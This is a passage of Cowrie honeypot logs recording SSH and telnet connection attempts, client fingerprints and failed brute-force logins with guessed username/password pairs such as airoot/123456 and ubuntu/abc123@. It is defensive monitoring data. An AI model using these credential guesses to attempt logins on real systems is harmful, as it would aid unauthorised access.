four256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:23.799120Z","src_ip":"159.203.92.129","session":"1284d2c9dd80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airoot","password":"123456","message":"login attempt [airoot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:23.853974Z","src_ip":"159.203.92.129","session":"1284d2c9dd80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:24.862029Z","src_ip":"159.203.92.129","session":"1284d2c9dd80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60482,"dst_ip":"10.17.0.5","dst_port":23,"session":"39a091afbc55","protocol":"telnet","message":"New connection: 5.61.90.139:60482 (10.17.0.5:23) [session: 39a091afbc55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:25.256236Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60484,"dst_ip":"10.17.0.5","dst_port":23,"session":"71690c50f4c8","protocol":"telnet","message":"New connection: 5.61.90.139:60484 (10.17.0.5:23) [session: 71690c50f4c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:25.305233Z"}
{"eventid":"cowrie.session.closed","duration":42.42145586013794,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:34.055331Z","src_ip":"5.61.90.139","session":"c394403e8b8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60494,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e011b17681a","protocol":"telnet","message":"New connection: 5.61.90.139:60494 (10.17.0.5:23) [session: 0e011b17681a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:36.261105Z"}
{"eventid":"cowrie.session.closed","duration":38.45682621002197,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:40.000285Z","src_ip":"5.61.90.139","session":"c4d9822074a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.96475315093994,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:41.726020Z","src_ip":"5.61.90.139","session":"534aead99850","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.54277205467224,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:45.904708Z","src_ip":"5.61.90.139","session":"fd717420523e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60496,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f40f1c4bf09","protocol":"telnet","message":"New connection: 5.61.90.139:60496 (10.17.0.5:23) [session: 4f40f1c4bf09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:46.293190Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60498,"dst_ip":"10.17.0.5","dst_port":23,"session":"28c57ca15210","protocol":"telnet","message":"New connection: 5.61.90.139:60498 (10.17.0.5:23) [session: 28c57ca15210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:46.545345Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60500,"dst_ip":"10.17.0.5","dst_port":23,"session":"bce96e49fb79","protocol":"telnet","message":"New connection: 5.61.90.139:60500 (10.17.0.5:23) [session: bce96e49fb79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:47.390683Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60502,"dst_ip":"10.17.0.5","dst_port":23,"session":"1066f93c3b2f","protocol":"telnet","message":"New connection: 5.61.90.139:60502 (10.17.0.5:23) [session: 1066f93c3b2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:47.707654Z"}
{"eventid":"cowrie.session.closed","duration":39.27363324165344,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:48.767355Z","src_ip":"5.61.90.139","session":"4319ada282e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":40326,"dst_ip":"159.203.135.109","dst_port":22,"session":"10d3a0a74ed2","protocol":"ssh","message":"New connection: 80.253.31.232:40326 (159.203.135.109:22) [session: 10d3a0a74ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:59.621886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:59.626232Z","src_ip":"80.253.31.232","session":"10d3a0a74ed2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:38:59.746355Z","src_ip":"80.253.31.232","session":"10d3a0a74ed2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abc123@","message":"login attempt [ubuntu/abc123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:00.264669Z","src_ip":"80.253.31.232","session":"10d3a0a74ed2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:01.394127Z","src_ip":"80.253.31.232","session":"10d3a0a74ed2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38856,"dst_ip":"159.203.135.109","dst_port":22,"session":"e47d96e8af35","protocol":"ssh","message":"New connection: 159.203.92.129:38856 (159.203.135.109:22) [session: e47d96e8af35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:07.929302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:07.936291Z","src_ip":"159.203.92.129","session":"e47d96e8af35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:07.942859Z","src_ip":"159.203.92.129","session":"e47d96e8af35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airoot","password":"airoot","message":"login attempt [airoot/airoot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:07.961180Z","src_ip":"159.203.92.129","session":"e47d96e8af35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.866244077682495,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:08.122317Z","src_ip":"5.61.90.139","session":"39a091afbc55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:08.967785Z","src_ip":"159.203.92.129","session":"e47d96e8af35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.52990460395813,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:09.835017Z","src_ip":"5.61.90.139","session":"71690c50f4c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.285608530044556,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:17.546751Z","src_ip":"5.61.90.139","session":"0e011b17681a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.176.66","src_port":53890,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bd6294231e5","protocol":"ssh","message":"New connection: 46.101.176.66:53890 (159.203.135.109:22) [session: 2bd6294231e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:24.349878Z"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:25.140011Z","src_ip":"46.101.176.66","session":"2bd6294231e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.24747371673584,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:26.540537Z","src_ip":"5.61.90.139","session":"4f40f1c4bf09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.70363450050354,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:28.248846Z","src_ip":"5.61.90.139","session":"28c57ca15210","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.380701541900635,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:29.771200Z","src_ip":"5.61.90.139","session":"bce96e49fb79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00166130065918,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:29.920916Z","src_ip":"146.120.225.17","session":"9c0da7458b5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.235678911209106,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:29.943203Z","src_ip":"5.61.90.139","session":"1066f93c3b2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.120.225.17","src_port":40326,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a1b9b059773","protocol":"telnet","message":"New connection: 146.120.225.17:40326 (10.17.0.5:23) [session: 7a1b9b059773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:30.987991Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60506,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca7978d7b59b","protocol":"telnet","message":"New connection: 5.61.90.139:60506 (10.17.0.5:23) [session: ca7978d7b59b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:31.242494Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60510,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ad44110a42f","protocol":"telnet","message":"New connection: 5.61.90.139:60510 (10.17.0.5:23) [session: 8ad44110a42f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:32.996278Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60512,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b81fed463e0","protocol":"telnet","message":"New connection: 5.61.90.139:60512 (10.17.0.5:23) [session: 8b81fed463e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:33.429471Z"}
{"eventid":"cowrie.session.closed","duration":2.4779908657073975,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:33.720393Z","src_ip":"5.61.90.139","session":"ca7978d7b59b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60514,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bb6211970ae","protocol":"telnet","message":"New connection: 5.61.90.139:60514 (10.17.0.5:23) [session: 0bb6211970ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:38.295844Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":36418,"dst_ip":"159.203.135.109","dst_port":22,"session":"acb37d2f7987","protocol":"ssh","message":"New connection: 80.253.31.232:36418 (159.203.135.109:22) [session: acb37d2f7987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:44.442018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:44.446344Z","src_ip":"80.253.31.232","session":"acb37d2f7987","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:44.567329Z","src_ip":"80.253.31.232","session":"acb37d2f7987","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1q2w3e","message":"login attempt [test/1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:45.087320Z","src_ip":"80.253.31.232","session":"acb37d2f7987","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:46.212557Z","src_ip":"80.253.31.232","session":"acb37d2f7987","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44206,"dst_ip":"159.203.135.109","dst_port":22,"session":"c68093762f6c","protocol":"ssh","message":"New connection: 159.203.92.129:44206 (159.203.135.109:22) [session: c68093762f6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:49.947805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:49.952571Z","src_ip":"159.203.92.129","session":"c68093762f6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:49.959761Z","src_ip":"159.203.92.129","session":"c68093762f6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airoot","password":"airoot123","message":"login attempt [airoot/airoot123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:49.971437Z","src_ip":"159.203.92.129","session":"c68093762f6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:50.979305Z","src_ip":"159.203.92.129","session":"c68093762f6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60518,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba7f0410f2ed","protocol":"telnet","message":"New connection: 5.61.90.139:60518 (10.17.0.5:23) [session: ba7f0410f2ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:39:55.649948Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60520,"dst_ip":"10.17.0.5","dst_port":23,"session":"34c7b381d5c8","protocol":"telnet","message":"New connection: 5.61.90.139:60520 (10.17.0.5:23) [session: 34c7b381d5c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:40:00.684635Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60522,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f0226dcc3a3","protocol":"telnet","message":"New connection: 5.61.90.139:60522 (10.17.0.5:23) [session: 9f0226dcc3a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:40:06.657662Z"}
{"eventid":"cowrie.session.closed","duration":37.940664529800415,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:40:10.936806Z","src_ip":"5.61.90.139","session":"8ad44110a42f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.04904007911682,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:40:16.478416Z","src_ip":"5.61.90.139","session":"8b81fed463e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.77968144416809,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:40:18.075394Z","src_ip":"5.61.90.139","session":"0bb6211970ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":54242,"dst_ip":"159.203.135.109","dst_port":22,"session":"02ad1f94e62c","protocol":"ssh","message":"New connection: 80.253.31.232:54242 (159.203.135.109:22) [session: 02ad1f94e62c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:40:29.779036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:40:29.784133Z","src_ip":"80.253.31.232","session":"02ad1f94e62c","protocol":"ssh"}
